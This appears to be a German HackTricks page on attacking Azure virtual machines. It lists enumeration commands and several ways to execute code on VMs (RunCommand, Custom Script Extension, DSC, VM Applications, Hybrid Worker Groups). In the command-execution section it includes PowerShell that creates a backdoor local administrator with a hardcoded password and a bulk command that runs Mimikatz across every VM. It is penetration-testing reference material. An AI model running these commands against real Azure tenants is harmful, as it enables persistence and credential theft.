Az - Virtual Machines & Network

Unterstütze HackTricks

Grundinformationen

Aus den Dokumenten: Azure-virtuelle Maschinen sind eine von mehreren Arten von on-demand, skalierbaren Rechenressourcen, die Azure anbietet. Typischerweise wählst du eine virtuelle Maschine, wenn du mehr Kontrolle über die Rechenumgebung benötigst, als die anderen Optionen bieten. Dieser Artikel gibt dir Informationen darüber, was du beachten solltest, bevor du eine virtuelle Maschine erstellst, wie du sie erstellst und wie du sie verwaltest.

Azure Netzwerk Informationen

Azure-Netzwerke enthalten verschiedene Entitäten und Möglichkeiten, sie zu konfigurieren. Du findest eine kurze Beschreibung, Beispiele und Aufzählungsbefehle der verschiedenen Azure-Netzwerkinstanzen in:

Az - Azure Network

Azure Bastion

Azure Bastion bietet eine sichere, vollständig verwaltete RDP (Remote Desktop Protocol) und SSH (Secure Shell) Zugangs-Lösung über SSL über das Azure-Portal. Es ist in ein Azure Virtual Network integriert, was RDP- und SSH-Konnektivität zu VMs über private IPs ermöglicht und die Notwendigkeit öffentlicher IPs vermeidet. Dies macht es zu einer sichereren, bequemeren Alternative zu traditionellen Methoden, die öffentliche IP-Zuweisungen und NSG-Regelkonfigurationen für den VM-Zugriff beinhalten. Entwickler und IT-Personal können sicher auf VMs über das Azure-Portal mit ihren Webbrowsern zugreifen, was den Prozess für Entwicklungs- und Testumgebungen optimiert.

Um alle Azure Bastion-Hosts in deinem Abonnement aufzulisten, kannst du den folgenden Befehl verwenden:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

VM Aufzählung

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Befehle in einer VM ausführen

AAD-Anmeldung in der VM

Es ist möglich, Benutzern, die über AzureAD authentifiziert sind, Zugriff zu gewähren. Zum Beispiel beim Versuch, auf eine Linux-VM zuzugreifen: ssh username@azure-corp.com@1.1.1.1 (es ist wichtig, die E-Mail mit dem verwendeten azurecorp beim Anmeldeversuch zu verwenden), könnte ein Fehler auftreten wie:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Befolgen Sie einfach diese Anweisungen, indem Sie zu https://microsoft.com/devicelogin gehen und den Code angeben, verwenden Sie die E-Mail und das Passwort als Anmeldeinformationen, und Sie können sich über SSH verbinden (wenn dieser Benutzer über ausreichende Berechtigungen verfügt: Virtual Machine Administrator Login oder Virtual Machine User Login Rolle).

Befehl ausführen

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Führen Sie die benutzerdefinierte Skripterweiterung aus

Azure-virtuelle Maschinen (VM) Erweiterungen sind kleine Anwendungen, die Konfigurations- und Automatisierungs-aufgaben nach der Bereitstellung auf Azure VMs bereitstellen. Wenn beispielsweise eine virtuelle Maschine die Installation von Software, den Schutz durch Antivirenprogramme oder die Möglichkeit benötigt, ein Skript darin auszuführen, können Sie eine VM-Erweiterung verwenden.

Daher, wenn Sie Zugriff haben, um es zu schreiben, können Sie beliebigen Code ausführen:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC) ist ein PowerShell-Tool, das Ansible ähnlich ist und zum Einrichten eines Hosts durch Code verwendet wird. DSC integriert sich mit Azure und ermöglicht das Hochladen spezifischer Konfigurationsdateien. Diese Dateien müssen einer strengen Syntax entsprechen. Bemerkenswert ist, dass die DSC-Erweiterung in Azure Befehle aus Dateien ausführen kann, die bestimmten Formatierungskriterien entsprechen, auch wenn die Syntax nicht den DSC-Standards entspricht, wie in der bereitgestellten Abbildung gezeigt.

Die Ausführung dieser Befehle wird durch die Publish-AzVMDscConfiguration Funktion in Az PowerShell erleichtert. Die Anforderungen umfassen eine .PS1-Datei mit einer definierten Funktion, und die Datei muss in eine .zip-Datei gepackt werden. Auch wenn die Syntax möglicherweise nicht korrekt für DSC ist, wird der Code dennoch ausgeführt. Die Erweiterung wird jedoch den Ausführungsstatus als "Fehler" markieren, und keine Ausgabe des Befehls wird sichtbar sein, da der Status durch die Fehlermeldung überschrieben wird.

VM Application Definitions

VM Application Definitions ermöglichen die wiederholbare Bereitstellung von versionierten Anwendungen auf einer Azure-VM. Diese Ressource unterstützt die Bereitstellung und Aktualisierung von Anwendungen über VMs hinweg. Um dies einzurichten, sind mehrere Schritte erforderlich, die Befehle wie New-AzGalleryApplication und New-AzGalleryApplicationVersion in Az PowerShell umfassen.

Die Ausführung von Anwendungen oder Befehlen über diese Methode erfolgt über die "VMAppExtension", die automatisch installiert wird, wenn eine Anwendung auf eine VM angewendet wird. Die Erweiterung ruft die Datei von der angegebenen URI ab und benennt sie genau wie die Anwendung, ohne eine Erweiterung. Um die Datei korrekt auszuführen, muss das Feld "ManageActions" im REST-API-Aufruf so konfiguriert werden, dass die Datei mit der entsprechenden Erweiterung umbenannt wird. Die Einrichtung dieser Methode wird, sobald sie abgeschlossen ist, der in der bereitgestellten Abbildung gezeigten Struktur ähneln.

Diese Methode der Ausführung ist jedoch relativ langsam und benötigt etwa 3-4 Minuten, um eine Anwendung oder einen Befehl auszuführen. Die mit diesem Prozess verbundenen Dateien werden in spezifischen Verzeichnissen gespeichert (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ für die Anwendungsdatei und C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ für den Ausführungsstatus).

Beide Techniken bieten einzigartige Möglichkeiten zur Ausführung von Befehlen und zur Bereitstellung von Anwendungen in Azure-Umgebungen, jede mit ihren eigenen Anforderungen, Schritten und Überlegungen.

Hybrid Worker Groups (HWGs) in Azure

Hybrid Worker Groups (HWGs) sind eine Funktion in Azure, die es ermöglicht, Runbooks, die in einem Automatisierungskonto konfiguriert sind, auf einer Azure-VM (VM) auszuführen, die Teil der vorgesehenen HWG ist. Diese Ausführung wird durch eine auf der VM installierte Erweiterung erleichtert, die den Runbook-Code auf die VM bereitstellt. Ein wesentlicher Aspekt dieses Prozesses ist, dass die tatsächlichen Anmeldeinformationen bei der Ausführung keine Rolle spielen, da der Code mit erhöhten Rechten, speziell als SYSTEM oder root, ausgeführt wird, wie in der bereitgestellten Abbildung veranschaulicht.

Ein wichtiger Punkt für diejenigen, die Windows 10 VMs nutzen, ist die Notwendigkeit, die PowerShell-Version für das Runbook anzugeben. Es sollte so eingestellt werden, dass es als PowerShell Version 5.1 und nicht 7.1 ausgeführt wird. Diese Anforderung ergibt sich aus der Tatsache, dass PowerShell 7.1 standardmäßig nicht auf diesen VMs installiert ist, was zu einem Fehler bei der Skriptausführung führt, wenn Version 7.1 angegeben wird.

Dieses Feature von Azure bietet eine robuste Methode zur Automatisierung und Verwaltung von Aufgaben in hybriden Umgebungen und ermöglicht eine zentrale Verwaltung und Ausführung von Aufgaben auf Azure VMs.

References

Support HackTricks

Last updated